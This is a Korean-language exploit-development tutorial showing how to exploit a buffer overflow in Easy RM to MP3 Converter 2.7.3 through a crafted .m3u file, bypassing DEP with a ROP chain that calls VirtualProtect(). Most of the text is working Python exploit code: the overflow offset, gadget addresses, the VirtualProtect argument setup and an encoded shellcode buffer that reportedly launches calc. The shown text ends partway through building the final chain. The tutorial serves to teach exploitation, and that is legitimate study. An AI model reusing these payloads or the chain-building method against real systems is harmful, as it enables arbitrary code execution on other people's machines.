익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter 2.7.3 ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost
Easy RM to MP3 Converter_v2.7.3을이용하여 ROP 공격에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR [ DEP : OptOut ] - Python 2.7.10 기존의스택오버플로우문서에서사용했던프로그램을그대로이용할것이다. 다시상기시켜주자면해당프로그램은아주긴문자열을포함하는 m3u 파일을열때버퍼오버플로우취약점이발생한다. 운영체제환경과익스플로잇파일의위치에따라차이가나지만본인기준으로 EIP 레지스터가 26044 바이트뒤에있는값으로오버라이팅되었다. 해당오프셋을알아내는파이썬코드는다음과같다. # 10000 byte pattern mona plugin/kali linux 이용 pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9A === 생략 ===" payload = "A" * 20000 + pattern f = open("rop_pattern.m3u", "wb") f.write(payload) f.close() 위코드를실행하여생성된 m3u 파일을열면 EIP가특정값으로변경되는데해당값의오프셋 + 20000을하면자신의환경에맞는오프셋을알수있다. # crash at 6044 ==> 26044 junk = "A" * 26044 eip = "BBBB" nops = "\x90" * 1000 payload = junk + eip + nops f = open("rop_ex1.m3u", "wb") f.write(payload) f.close() 알아낸오프셋이올바른지테스트하기위해위와같은코드를이용한다. 만약알아낸오프셋값이올바르다면 EIP 레지스터는 BBBB 데이터로채워지게된다. DEP 정책이 OptOut 이기때문에예외가발생하고디버거에붙일수없다. 위사진은오프셋값이 올바른지보기위해잠시 DEP 정책에서공격대상프로그램을예외처리한상태에서찍은것이다.
EIP가 BBBB로채워진상태이기도하고, ESP 레지스터는공격자가입력한 NOP 코드의주소를가지고있기때문에, 해당부분에쉘코드를삽입하는공격이일반적인스택오버플로우공격이다. 그러나 DEP 정책에의해이런방법은더이상유효하지않기때문에다른방법을이용해야한다. DEP를우회하기위해서 ROP 체인을생성하면되는데, 쉘코드가위치한메모리페이지영역의접근보호수준을 VirtualProtect() 함수를이용하여변경한뒤, 쉘코드를실행하면된다. 이작업을위해공격자는의도에맞게구성된인자들을함수실행시같이전달해야한다. 이인자값들은 VirtualProtect 함수를호출하는시점에정확히스택의최상단예차례로있어야한다. 인자삽입방법은크게 2가지가있다. 1. 필요한값들을레지스터에넣은뒤, pushad 명령을실행함 2. 스택에이미삽입되어있는인자를그대로사용하되, 나머지인자들은 ROP 가젯을이용해계산을수행한다음스택에넣음 Easy RM to MP3 Converter 프로그램은데이터를문자열로처리하기때문에, 공격자는 m3u 파일에서널바이트를사용할수없고, 쉘코드에사용이제한되어 있는특정바이트역시고려해야한다. 자이제체인을구성할차례이다. DEP를우회하기위해기존에존재하는명령어를체인으로엮어서사용해야한다. 여기서명령어는이미로드된모듈내에존재하는어셈블리어조각 ( 되도록정적주소를가지면서널바이트가없는것 ) 을의미한다. 또한기본적으로스택에데이터를올려야하기때문에레지스터를수정하고, 스택에서데이터를가져오거나삽입하는명령어를찾아서사용해야한다. 각각의명령어는어떤방법을통해서라도실행하고자하는다음명령어로분기가되어야한다. 가장단순한방법은명령어다음에 RET를붙이는것이다. 이렇게되면 RET 명령어는스택에서다음에수행할명령어를가져와서분기될것이다. 기본적으로 ROP 체인은스택에서주소를가져와분기를수행하는데, 해당주소에위치한명령어들은스택에서데이터를가져오는역할을담당하게된다. 이두명령어들의조합을이용하여 ROP 체인을구성하게된다. * 각 명령어 + RET 조합 == ROP 가젯
특정가젯에서다음가젯으로이동할때, 어떤명령어실행되는지, 해당명령이스택에어떤영향을미치는지고려해야한다. 만약이전명령이 ADD ESP,8 일경우스택포인터가이동하게되고다음포인터가위치해야할곳에영향을미치게된다. RET가정확히다음에수행할명령어를가리키도록만들려면이런변수를고려해야한다. ( 이런경우패딩을이용하여스택을적절히조절해야함 ) 또한제작하고자하는 ROP 루틴은상당한크기의스택공간을요구한다고추정할수있다. 따라서 ROP 루틴을제작함에있어가용버퍼공간은굉장히중요한요소이다. 지금까지의설명이잘이해가가지않는것이정상일텐데뒤의실습을천천히따라하다보면점점이해가될것이다. 일단 ROP 루틴의일부분으로, 공격자는스택에서값을가져와 EAX에넣고, 해당값을 0x80만큼증가시켜야한다고가정하면세부과정은다음과같아진다. 1. POP EAX + RET 명령어 ( 가젯 1) 를가리키는포인터를찾아스택에삽입 2. EAX에반드시삽입되어야하는값은포인터바로아래에삽입 3. ADD EAX,80 + RET 명령어 ( 가젯 2) 를가리키는포인터를찾아 EAX에삽입될값바로밑에삽입 4. 체인을실행하기위해가젯 1로분기 위와같은과정으로 ROP 체인을구성하게되면다음그림과같은형태가된다. 가젯 1,2 를생성하기위해사용하는포인터주소들은다음과같다. ( 이후에찾는법설명 ) 가젯 1 0x10029822 = POP EAX + RET 가젯 2 0x1002DC24 = ADD EAX,80 + POP EBX + RET 참고로가젯 2는 ADD 뿐만아니라 POP EBX 역시수행한다. 해당명령어는체인자체에는영향이없으나, ESP 레지스터에영향을미칠수있기때문에다음에위치하는 ROP 가젯의실행을위해서 ESP를이동시키는역할을하는패딩데이터를추가해야한다. 가젯 1,2를실행하고공격자가원하는값을 EAX에넣으면스택은다음과같은형태가된다.
우선공격자는 0X10029822 가실행되도록해야한다. EIP 레지스터가 RET 명령을가리키도록만들어주면간단히해결할수있다. 따라서로드된모듈에서 RET를가리키고있는포인터를찾아 EIP에넣으면된다. * 0010F730 주소가 POP EAX + RET 명령어를가리킨다면 * 0010F731 주소는 RET 명령어를가리킴 EIP를 RET 명령어의포인터로오버라이팅하면, RET 명령어으로분기하게된다. 해당명령은스택에있는 ESP 값 (10029822) 을가져와분기를수행한다. 해당값은 POP EAX를실행하고 50505050 값을 EAX에넣는포인터를실행한다. POP EAX 다음에있는 RET는현재 ESP에있는주소로분기하기때문에 1002DC24 주소로분기하게된다. 해당주소는 ADD EAX,80 + POP EBX + RET 주소를가리키기때문에해당가젯에서 EAX에있는값, 즉 50505050 + 0x80 연산을실행한다. 이제지금까지의설명을기반으로다음과같은공격코드를작성한다. # coding:utf-8 import struct junk1 = "A" * 26044 eip = struct.pack('<l', 0x1002a21e) # RETN junk2 = "AAAA" # ESP 가첫번째 ROP 가젯을확실히가리키도록하는패딩값 rop = struct.pack('<l', 0x10029822) # POP EAX + RETN 가젯 1 rop += struct.pack('<l', 0x50505050) # EAX 에삽입될값 rop += struct.pack('<l', 0x1002dc24) # ADD EAX,80 + POP EBP + RETN 가젯 2 rop += struct.pack('<l', 0xDEADBEEF) # EBP 에삽입될값 nops = "\x90" * 1000 payload = junk1 + eip + junk2 + rop + nops f = open("rop_ex2.m3u", "wb") f.write(payload) f.close()
이전스택사진에서가젯 2 에대하여 EBX 레지스터를이용했지만, 실제바이너리 내부에해당가젯의명령어조합을찾을수없어공격코드에서는 EBP 레지스터로 대체하였다. 이제디버거를프로그램에 attach 하고 0x1002A21E 주소 (retn 명령어 ) 에 BP 를설정 한뒤, 위공격코드를통해생성된 m3u 파일을로드한다. 그러면다음과같이 BP 주소에서프로그램이종료되는것을볼수있다. BP 주소에도달하게되면, EIP 레지스터는 RETN 명령어를가리키게된다. 그러면위사진에서하늘색박스에서보는것처럼 0010FD38 주소에있는 10029822 값으로리턴하는것을볼수있다. Step-In(F7) 을통해명령어를하나씩실행하면다음과같은작업을수행하게된다. - RETN : EIP는 0x10029822 주소로분기 ( ESP -> 0x0010FD38 ) - POP EAX : 0x50505050 을스택에서가져와 EAX 에저장 ( ESP -> 0x0010FD3C ) - RETN : EIP는 0x10029823 주소로분기 ( ESP -> 0x0010FD40 ) - ADD EAX,80 : EAX 값 (0x50505050) 에 0x80을더함 ( EAX -> 0x505050D0 ) - POP EBP : 0xDEADBEEF 를스택에서가져와 EBP 에저장 ( ESP -> 0x0010FD48 ) - RETN : 스택에서다음값을가져와분기 ( 예제의경우 0x90909090 ) 마지막 RETN 명령어가실행되기전에이버거를통하여레지스터들의값을확인 해보면다음사진과같다.
위그림에서보는것처럼, 공격자는스택의있는단하나의명령어를실행시키지않고도원하는명령어를실행하여, 레지스터의값을조작하였다. 또한기존에이미존재하는명령어들을이용하여 ROP 체인을구성했다. 체인은 ROP 공격을하기위해가장중요한역할을하기때문에, 반드시이해해야한다. ROP 개념을확인했기때문에실제적인공격을해볼려고한다. 다만익스플로잇코드를작성하기에앞서먼저해야하는것은다음과같은것들을고려하고전략을세우는것이다. - DEP를우회하기사용하려는기술, 해당기술을사용할때스택과인자에미치는영향 - 현재 DEP 정책, 해당정책을우회하기위해사용할수있는기술 - 사용할수있는 ROP 가젯 - 체인구성방법, 체인의첫부분을프로그램으로이동하기위한방법 - 스택의조작방법 이번예제의경우위와같은질문들에대한대답은다음과같다. - 공격자의쉘코드가위치한메모리의영역의보호수준을변경하기위해 VirtualProtect() 함수를사용한다. 해당함수는호출될때다음과같은인자들이스택의최상단에위치해야한다.
Return Address 함수종료시리턴되는위치의포인터 [ 스택에있는쉘코드주소 ( 동적생성주소 ) 로세팅해야함 ] lpaddress 접근보호수준을변경해야하는페이지영역의베이스주소를 가리키는포인터 [ 스택에위치한쉘코드의베이스주소 ( 동적생성주소 ) 임 ] dwsize 바이트의개수 ( 동적생성값, 전체쉘코드가실행되도록보장 ) ( 만약쉘코드가일련의이유 [ 디코딩루틴등 ] 로확장되면이추가바이트를이용 ) flnewprotect lpfloldprotect 새로운보호속성을의미하는옵션 (0x00000040 : PAGE_EXECUTE_READWRITE) 쉘코드가디코더에의해수정되지않으면, (0x00000020 : PAGE_EXECUTE_READ) 값을세팅해도무방함이전에가지고있던접근보호혹성값을받을변수의포인터 * 이번예제에서는 EASY RM to MP3 Converter의내부모듈중하나에서주소를가져옴 - ROP 가젯 : 이뮤니티디버거의 mona 플러그인이용 - 체인시작 : 스택에피벗설정 ( 직접 RET 를덮어쓸수있기때문에 RETN 을가리키는포인터를사용하면됨 [0x1002A21E] ) - 스택조작 : 다양한방법이존재하기때문에가장어려운부분임 예제에서사용하는쉘코드의길이는 502 바이트이고, 스택의어딘가에저장된다. 따라서공격자의버퍼와스택은다음과같은형태를가지게된다.
ROP 체인을구성하기전에, VirtualProtect() 함수호출이공격자의예상처럼잘동작하는지테스트를할것이다. 디버거에안에서스택과함수인자를수동으로조작하는것이가장쉬운방법이다. - EIP = VirtualProtect 함수포인터주소 or 함수의실제주소 - VirtualProtect 함수의인자값들을스택에삽입 - 쉘코드를스택에삽입 - 함수실행 위과정이성공하면, VirtualProtect() 함수가일단은잘동작한다고볼수있다. 또한이렇게되면쉘코드도잘동작한다는소리다. 따라서테스트를위해다음과같이코드를작성한다. #coding:utf-8 import struct junk1 = "A" * 26044 # mona 플러그인에서추출된 VirtualProtect 함수포인터주소는동작하지않을수있음 eip = struct.pack('<l',0x7c7d1ad4) # VirtualProtect 실제주소 junk2 = "AAAA" # 패딩 retn = struct.pack('<l', 0x01010101) # return address param1 = "XXXX" # lpaddress param2 = "YYYY" # Size - 쉘코드길이 param3 = "ZZZZ" # flnewprotect param4 = struct.pack('<l', 0x10069d37) # writable addr nops1 = "\x90" * 200 # 계산기실행쉘코드 buf = "" buf += "\x89\xe2\xda\xc3\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49" buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43" buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41" buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42" buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x4f\x4e\x68\x58\x49" buf += "\x67\x59\x34\x58\x38\x6a\x7a\x49\x4b\x78\x59\x42\x54" buf += "\x55\x74\x6c\x34\x66\x38\x65\x63\x6b\x79\x6c\x71\x34" 계산기쉘코드의전체코드는 buf += "\x71\x4f\x73\x79\x50\x66\x64\x55\x61\x30\x70\x34\x4f"
buf += "\x54\x43\x62\x50\x78\x57\x72\x35\x42\x71\x67\x34\x34" buf += "\x4f\x33\x6b\x4c\x5a\x38\x35\x78\x4f\x35\x6c\x52\x32" buf += "\x76\x30\x49\x6e\x51\x6c\x37\x30\x56\x70\x32\x70\x70" buf += "\x4d\x43\x32\x62\x54\x31\x4c\x37\x56\x43\x76\x50\x6d" buf += "\x68\x57\x73\x7a\x50\x4f\x4f\x72\x52\x70\x59\x70\x6d" buf += "\x79\x4c\x6d\x75\x31\x32\x79\x6b\x39\x4e\x4c\x68\x61" buf += "\x39\x30\x39\x4e\x36\x6e\x48\x58\x73\x5a\x37\x63\x50" buf += "\x4e\x37\x6d\x6f\x66\x4b\x6e\x46\x62\x48\x76\x69\x4c" buf += "\x52\x6d\x38\x33\x33\x43\x6e\x48\x50\x4d\x47\x48\x6a" buf += "\x6f\x67\x4c\x49\x46\x39\x4d\x4e\x67\x75\x6f\x6a\x57" buf += "\x64\x33\x6f\x6c\x36\x79\x69\x47\x33\x42\x51\x61\x47" buf += "\x62\x43\x6e\x72\x4d\x6a\x36\x77\x6f\x75\x78\x45\x56" buf += "\x72\x4c\x48\x6b\x6e\x4b\x5a\x6e\x4d\x6d\x75\x44\x56" buf += "\x67\x54\x6f\x70\x72\x7a\x47\x36\x39\x34\x37\x4f\x44" buf += "\x62\x38\x74\x6c\x6d\x51\x48\x47\x39\x35\x54\x77\x31" buf += "\x46\x6f\x4a\x31\x61\x6f\x4d\x30\x4d\x47\x6c\x48\x71" buf += "\x42\x45\x6f\x5a\x4f\x6d\x69\x46\x4c\x30\x65\x69\x4c" buf += "\x51\x5a\x33\x54\x37\x71\x75\x4e\x55\x56\x42\x43\x6b" buf += "\x65\x4d\x6a\x61\x4e\x4f\x31\x4a\x4b\x42\x47\x30\x4a" buf += "\x4b\x62\x58\x49\x46\x73\x39\x4c\x6f\x39\x71\x50\x4f" buf += "\x4b\x47\x35\x4e\x37\x6d\x6e\x6f\x43\x68\x6b\x4e\x4f" buf += "\x4b\x39\x4b\x33\x44\x4a\x4b\x58\x31\x4e\x61\x32\x32" buf += "\x59\x7a\x77\x34\x6d\x6c\x66\x30\x5a\x4c\x33\x66\x6f" buf += "\x4f\x7a\x64\x6d\x55\x53\x57\x64\x74\x6c\x4b\x5a\x72" buf += "\x73\x47\x6d\x4f\x4b\x58\x34\x6d\x50\x32\x6e\x62\x76" buf += "\x38\x6f\x56\x6f\x6b\x56\x36\x6e\x39\x4e\x4b\x45\x4b" buf += "\x6e\x6d\x77\x6d\x78\x52\x4f\x6f\x71\x34\x49\x4d\x71" buf += "\x31\x6d\x6f\x30\x4c\x4a\x78\x70\x6e\x46\x67\x4d\x6c" buf += "\x6c\x50\x69\x6f\x49\x72\x49\x52\x53\x37\x69\x6f\x54" buf += "\x66\x49\x31\x4b\x76\x4d\x43\x4c\x6b\x56\x68\x42\x4d" buf += "\x76\x74\x33\x79\x76\x35\x41\x41 nops2 = "C" * 300 payload = junk1 + eip + junk2 + retn + param1 + param2 + param3 + param4 + nops1 + buf + nops2 f = open("rop_ex3.m3u", "wb") f.write(payload) f.close()
위익스플로잇코드는 EIP 를 VirtualProtect() 함수의실제주소로덮어쓰고스택의 최상위부분에필요한 5 개의인자를삽입한다. 그뒤에약간의 nop 코드와계산기 코드가위치한다. lpaddress, Size, flnewprotect 인자는각각 XXXX, YYYY, ZZZZ 로세트된다. 뒤에서이값들을수동으로수정할것이다. 이제익스플로잇코드를실행하여 m3u 파일을생성하고, 어플리케이션을디버거에 attach 한다음 0x7C7D1AD4 주소에 BP 를설정한뒤 m3u 파일을로드한다. 스택의최상위부분을보면위그림처럼다섯개의인자가제대로들어가있는것을 확인할수있다. 이제스택창을아래로내리면서쉘코드의시작주소를찾아야한다. 쉘코드가 0x0010FE14 주소에서시작하고있는것을알수있다. 혹시모르니전체쉘코드가스택에잘있는지확인하길바란다. 이제 VirtualProtect() 함수의인자를수동으로조작할차례이다. 참고로리틀인디언방식으로입력해야한다는것을기억하길바란다.
인자를위그림처럼수동으로변경한다. 각인자가의미하는뜻은다음과같다. 함수인자 변경이전 변경이후 Return Address 01010101 0010FE14 ( 쉘코드시작주소 ) lpaddress 58585858 0010FE14 ( 쉘코드시작주소 ) dwsize 59595959 000002BC (700 바이트 ) flnewprotect 5A5A5A5A 00000040 ( 보호수준 ) lpfloldprotect 10069D37 변경없음 이전그림에서보듯이 VirtualProtect 함수의실제코드는별로길지않다. 몇개의 스택상호작용명령어와 VirtualProtectEx() 함수를호출하는데, 해당함수는접근 보호수준을변경시키는함수이다. RETN 10 명령어까지도달할때까지 F8 를누른다. RETN 10 명령어는스택을정리하고 0x0010FE14 주소로리턴하는데해당주소는 쉘코드의시작주소임을알수있다. 리턴주소를확인한뒤 F9 를눌러실행시킨다.
성공적으로 VirtualProtect() 함수를이용한기법이실행된것을알수있다. 이제 테스트가끝났으니범용쉘코드 ( 실시간으로동적값을생성 ) 을만들차례이다. 아쉽게도 ROP 체인을만들기위한범용명령어는존재하지않기때문에, mona 플러그인을이용한출력결과를이용할것이다. 참고로범용성을가지는 ROP 체인을 구축하면다음과같은형태가된다.
위그림에서보는것처럼공격자는체인의시작부분에서사용할수있는명령어 수가제한되어있는상태이다. 단순히스택포인터를저장한뒤, 인자를통하여 예약된공간을덮어쓰기쉽도록분기를수행한다. 함수포인터및인자예약공간은정확히말하면 ROP 가젯은아니고단지버퍼의 일부분으로스택에위치한정적값일뿐이다. 유일하게해야할일은예약공간다음에 위치한 ROP 체인을이용하여동적으로생성된값을예약공간에덮어쓰는것이다. 우선이전에실행한익스플로잇코드에서 EIP를덮어쓰는데사용한주소를변경할것인데, VirtualProtect() 함수를직접호출하는대신스택에리턴을해야한다. 이는공격자가 EIP를 RETN 포인터로덮어써야한다는것을의미한다. 이전에찾아놓은 0x1002A21E 주소를이용한다. 그리고이제함수인자값을조작해서스택의올바른위치에삽입하는방법을생각해봐야한다. - 쉘코드포인터 가장쉬운방법은 ESP 주소를가져와스택에넣고쉘코드를가리킬때까지증가시키는것이다. 아니면 rop.txt 에있는결과를기반으로사용가능한포인터를찾는방법도있다. - 사이즈변수 레지스터를시작값으로설정하고 0x40이될증가시키거나, 실행되면 0x40을생성할 ADD,SUB 명령어를찾을수도있다. 물론레지스터에시작값을먼저삽입 ( 스택에서 POP로가져옴 ) 해야한다. - 동적생성값을스택에다시삽입 레지스터에올바른순서로값을삽입하거나 push 명령으로스택에삽입한다. 혹은 MOV DWORD PTR DS[registerA+offset],registerB 형태의명령어를이용해스택에특정위치를직접쓸쑤도있다. 물론 registerb 는공격자가원하는주소값을미리가지고있어야한다. 실습을위해이뮤니티디버거에서!mona rop o n 명려어를실행하여 rop.txt 를먼저생성한다. 기존처럼 VirtualProect() 함수를이용할것이다. 이용가능한모듈은실행파일자체나, msrmfilte03.dll(aslr 미적용, 재배치가능성없음 ) 파일이있다. 다만아쉽게도두모듈모두 VirtualProtect() 함수호출구문이없기때문에어쩔수없이 OS 모듈을이용해야한다. * OS 모듈은환경마다주소가달라지기때문에최대한사용을자제하는것이좋음
우선처음에는스택포인터를저장하고인자값들을뛰어넘는분기를실행해야한다. VirtualProtect() 함수중 2개의인자 (Return Addres,lpAddress) 가쉘코드주소를가리켜야한다. 쉘코드가스택에위치한상황에서가장쉬운방법은현재스택포인터를가져와레지스터에저장하는것이다. 스택포인터를저장하는방법은 mov reg,esp push esp+pop reg 등여러가지가있다. rop.txt 파일을확인해보니다음과같은명령어를발견했다. # PUSH ESP # AND AL,10 # POP ESI # MOV DWORD PTR DS:[EDX],ECX # RETN 그러나가젯의일부인 MOV DWORD PTR DS:[EDX],ECX 명령어가실행될때본인환경에서해당레지스터에 0x0000000D 값이들어있어 Access Violation 오류가발생하였다. 따라서이를해결하기위해먼저 EDX 레지스터를사용가능한상태로만드는다음과같은가젯을찾아야만했다. # ADC EDX,ESI # POP ESI # RETN 다행히 ESI 레지스터에는유효한값이들어있기때문에해당값을 EDX 레지스터로복사하는가젯을추가하였다. 물론 POP ESI 명령어에대한패딩이필요하다. 또한기존의스택포이터를저장하는가젯에서사용된 ESI 레지스터는각종산술연산에서사용될수있기때문에 ( 나중에변경될수있음 ) 그리좋은레지스터는아니다. 따라서스택포인터값을다른레지스터 ( 예제에서는 EAX) 에도저장하는것이좋다. 게다가나중에쉘코드주소를복사하기위해어차피스택포인터를 2개의레지스터에저장 (1-쉘코드주소, 2-함수인자예약공간주소 ) 해야한다. # MOV EAX,ESI # POP ESI # RETN 이전에스택포인터를 ESI 레지스터에복사했기때문에다시해당포인터값을 EAX 레지스터에저장하는가젯을이용한다. 물론 POP ESI 명령어에대한패딩이필요하다. 마지막으로현재의 ESP 값이 2개의레지스터에저장되었다면 VirtualProtect() 함수코드를뛰어넘는가젯을찾야아한다. 뛰어넘기위해서는최소 ESP+20 바이트가필요한데 ROP 가젯에서해당바이트만큼직접뛰는코드가없어비슷한역할을하는가젯을찾아야했다. 다행히 ESP 레지스터 0x0C를더한후 POP을여러번하는가젯을찾을수있었다. 물론 POP 명령어들에대한패딩이필요하다. # ADD ESP,0C # POP EDI # POP ESI # POP EBX # RETN
지금까지찾아낸가젯의주소를이용한익스플로잇코드는다음과같다. #coding:utf-8 import struct junk1 = "A" * 26044 eip = struct.pack('<l', 0x1002A21E) # retn 명령어 junk2 = "AAAA" # 패딩 # edx 사용가능하게변경 edx = "" edx += struct.pack('<l', 0x1001bf0d) # ADC EDX,ESI # POP ESI # RETN edx += "AAAA" # ESI = ESP rop = "" rop += struct.pack('<l', 0x1002e892) # PUSH ESP # AND AL,10 # POP ESI # MOV DWORD PTR DS:[EDX],ECX # RETN # EAX = ESI rop += struct.pack('<l', 0x1002e428) # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # pop esi 패딩 # VirtualProtect() 뛰어넘기위한코드 rop += struct.pack('<l', 0x10018ec0) # ADD ESP,0C # POP EDI # POP ESI # POP EBX # RETN # VirtualProtect 코드 rop += struct.pack('<l', 0x7C7D1AD4) # 실제주소 rop += "WWWW" # return addr - param 1 rop += "XXXX" # lpaddr - param 2 rop += "YYYY" # size - param3 rop += "ZZZZ" # flnewprotect - param4 rop += struct.pack('<l', 0x10069d37) # writable add rop += "JJJJ" # next rop code / need modify nops1 = "\x90" * 200
calc = "\x89\xe2\xda\xc3\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49 \x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b \x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42 \x75\x4a\x49\x4f\x4e\x68\x58\x49\x67\x59\x34\x58\x38\x6a\x7a\x49\x4b\x78\x59 \x42\x54\x55\x74\x6c\x34\x66\x38\x65\x63\x6b\x79\x6c\x71\x34\x71\x4f\x73\x79 \x50\x66\x64\x55\x61\x30\x70\x34\x4f\x54\x43\x62\x50\x78\x57\x72\x35\x42\x71 \x67\x34\x34\x4f\x33\x6b\x4c\x5a\x38\x35\x78\x4f\x35\x6c\x52\x32\x76\x30\x49\ x6e\x51\x6c\x37\x30\x56\x70\x32\x70\x70\x4d\x43\x32\x62\x54\x31\x4c\x37\x56\ x43\x76\x50\x6d\x68\x57\x73\x7a\x50\x4f\x4f\x72\x52\x70\x59\x70\x6d\x79\x4c\x 6d\x75\x31\x32\x79\x6b\x39\x4e\x4c\x68\x61\x39\x30\x39\x4e\x36\x6e\x48\x58\x 73\x5a\x37\x63\x50\x4e\x37\x6d\x6f\x66\x4b\x6e\x46\x62\x48\x76\x69\x4c\x52\x 6d\x38\x33\x33\x43\x6e\x48\x50\x4d\x47\x48\x6a\x6f\x67\x4c\x49\x46\x39\x4d\x 4e\x67\x75\x6f\x6a\x57\x64\x33\x6f\x6c\x36\x79\x69\x47\x33\x42\x51\x61\x47\x6 2\x43\x6e\x72\x4d\x6a\x36\x77\x6f\x75\x78\x45\x56\x72\x4c\x48\x6b\x6e\x4b\x5 a\x6e\x4d\x6d\x75\x44\x56\x67\x54\x6f\x70\x72\x7a\x47\x36\x39\x34\x37\x4f\x44 \x62\x38\x74\x6c\x6d\x51\x48\x47\x39\x35\x54\x77\x31\x46\x6f\x4a\x31\x61\x6f\ x4d\x30\x4d\x47\x6c\x48\x71\x42\x45\x6f\x5a\x4f\x6d\x69\x46\x4c\x30\x65\x69\ x4c\x51\x5a\x33\x54\x37\x71\x75\x4e\x55\x56\x42\x43\x6b\x65\x4d\x6a\x61\x4e\ x4f\x31\x4a\x4b\x42\x47\x30\x4a\x4b\x62\x58\x49\x46\x73\x39\x4c\x6f\x39\x71\ x50\x4f\x4b\x47\x35\x4e\x37\x6d\x6e\x6f\x43\x68\x6b\x4e\x4f\x4b\x39\x4b\x33\x 44\x4a\x4b\x58\x31\x4e\x61\x32\x32\x59\x7a\x77\x34\x6d\x6c\x66\x30\x5a\x4c\x 33\x66\x6f\x4f\x7a\x64\x6d\x55\x53\x57\x64\x74\x6c\x4b\x5a\x72\x73\x47\x6d\x 4f\x4b\x58\x34\x6d\x50\x32\x6e\x62\x76\x38\x6f\x56\x6f\x6b\x56\x36\x6e\x39\x4 e\x4b\x45\x4b\x6e\x6d\x77\x6d\x78\x52\x4f\x6f\x71\x34\x49\x4d\x71\x31\x6d\x6f \x30\x4c\x4a\x78\x70\x6e\x46\x67\x4d\x6c\x6c\x50\x69\x6f\x49\x72\x49\x52\x53 \x37\x69\x6f\x54\x66\x49\x31\x4b\x76\x4d\x43\x4c\x6b\x56\x68\x42\x4d\x76\x74 \x33\x79\x76\x35\x41\x41" nops2 = "C" * 300 payload = junk1 + eip + junk2 + edx + rop + nops1 + calc + nops2 f = open("rop_ex4.m3u", "wb") f.write(payload) f.close() 위코드를실행하여 m3u 파일을생성하고, 디버거에프로그램을 attach 한뒤 eip 레지스터의값으로세팅한 0x1002A21E(retn 명령어주소 ) 에 BP 를설정한다. 그리고 m3u 파일을실행된프로그램에서불러온직후의스택상태를보면다음과같다.
모든값이제대로스택에삽입된것을확인했으면이제한줄씩실행하면서공격자가 원하는형태로레지스터가세팅되는지살펴봐야한다. 가젯의제일마지막까지실행하면일단 4A4A4A4A 로리턴하는것을볼수있다. 즉 VirtualProtect 코드는성공적으로뛰어넘은것이다. 그리고레지스터값들역시 공격자가원하는값으로세팅되었다. ( EAX 에기존의스택포인터값이존재, ESI 는변형됨 ) 이제 VirtualProtect 함수의첫번째인자를생성해서스택에삽입된첫번째인자공간에값을삽입해야한다. 첫번째인자는 return address, 즉쉘코드의주소를의미한다. 쉘코드는기존의디버거화면에서보여지는스택창에서스크롤을좀내리면위치하고있다. 현재 EAX 레지스터가스택포인터를가지고있기때문에나중을위해해당값을우선다른레지스터에다시복사해야한다. ( 기존에복사했던 ESI 레지스터는값이변형됨 ) 가젯을찾아보니 EDI 레지스터에복사할수있다.
# PUSH EAX # POP EDI # POP ESI # POP EBX # RETN 위와같은가젯을이용하여 EAX 에저장된스택포인터를 EDI 에복사한다. 그리고 POP ESI, EBX 명령어를위한패딩 8 바이트가필요하다. 이제스택포인터가저장된 2 개의레지스터를확보한상태이다. 그럼이제첫번째 인자를덮어써야하는데다음과같은방식을이용할수있따. 1. 첫번째스택포인터값 (EAX) 에 0x100 바이트를더함 - 쉘코드의주소 or 쉘코드주소이전에위치한 nop 썰매어딘가 2. 두번째스택포인터값이첫번째인자위치 (ESP+10) 을가리키게함 3. (1) 명령어의결과값 (EAX=EAX+100) 를 (2) 번위치에복사 위와같은방식을이용하기위해사용하는가젯을모으면다음과같다. 0x1002dc4c : # ADD EAX,100 # POP EBP # RETN 0x7631982f : # XCHG ESI,EDI # DEC ECX # RETN 0x04 0x76e81b3a : # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN 1번가젯 : EAX 레지스터에 +100 을더함 / POP EBP 패딩필요 2번가젯 : ESI,EDI 레지스터의값을서로변경 => ESI에스택포인터저장됨 3번가젯 : [ESI+10] 주소에 1번가젯의결과값을저장 * [ESI+10] 주소를사용하는이유는, 스택포인터기준으로 VirtualProtect 함수의첫번째인자인리턴주소는 +0x10 바이트에위치하기때문임 지금까지알아낸가젯을포함하는익스플로잇코드는다음과같다. #coding:utf-8 import struct junk1 = "A" * 26044 eip = struct.pack('<l', 0x1002A21E) # retn 명령어 junk2 = "AAAA" # 패딩
# edx 사용가능하게변경 edx = "" edx += struct.pack('<l', 0x1001bf0d) # ADC EDX,ESI # POP ESI # RETN edx += "AAAA" # ESI = ESP rop = "" rop += struct.pack('<l', 0x1002e892) # PUSH ESP # AND AL,10 # POP ESI # MOV DWORD PTR DS:[EDX],ECX # RETN # EAX = ESI rop += struct.pack('<l', 0x1002e428) # MOV EAX,ESI # POP ESI # RETN rop += "AAAA" # pop esi 패딩 # VirtualProtect() 뛰어넘기위한코드 rop += struct.pack('<l', 0x10018ec0) # ADD ESP,0C # POP EDI # POP ESI # POP EBX # RETN # ROP - VirtualProtect 코드 ------------------------------------------------ rop += struct.pack('<l', 0x7C7D1AD4) # 실제주소 rop += "WWWW" # return addr - param 1 rop += "XXXX" # lpaddr - param 2 rop += "YYYY" # size - param3 rop += "ZZZZ" # flnewprotect - param4 rop += struct.pack('<l', 0x10069d37) # writable add # ROP2_VirtualProtect_First_Param ------------------------------------------- # EAX -> EDI rop += struct.pack('<l', 0x100128f7) # PUSH EAX # POP EDI # POP ESI # POP EBX # RETN rop += "AAAA" * 2 # POP ESI/EBI 패딩 # EAX += 100 rop += struct.pack('<l', 0x1002dc4c) # ADD EAX,100 # POP EBP # RETN rop += "AAAA" # POP EBP 패딩
